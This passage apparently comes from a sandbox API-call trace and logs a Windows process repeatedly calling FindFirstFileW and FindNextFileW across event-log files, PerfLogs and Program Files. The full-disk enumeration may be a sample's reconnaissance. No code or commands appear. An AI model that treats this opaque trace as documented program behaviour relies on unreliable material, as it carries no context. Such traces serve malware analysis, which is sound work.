lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0135.912] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0135.913] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0135.913] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0135.913] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3d80080, Size=0x8000) returned 0x64ac08 [0135.913] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0135.914] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0135.914] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0135.914] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0135.914] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0135.914] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0135.914] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0135.914] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0135.915] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0135.915] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0135.921] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0135.921] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0135.921] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69b088 [0136.095] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0136.095] FindNextFileW (in: hFindFile=0x69b088, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0136.095] FindClose (in: hFindFile=0x69b088 | out: hFindFile=0x69b088) returned 1 [0136.095] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0136.095] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x16caa83b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x16caa83b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0136.095] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x16caa83b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x16caa83b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69b248 [0136.095] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x16caa83b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x16caa83b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0136.095] FindNextFileW (in: hFindFile=0x69b248, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0136.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b2c8 [0136.096] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.096] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0136.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0136.097] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSADDNDR.OLB", cAlternateFileName="")) returned 0 [0136.097] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0136.097] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0136.097] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0136.098] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2e4f584 | out: lpFindFileData=0x2e4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0136.098] FindNextFileW 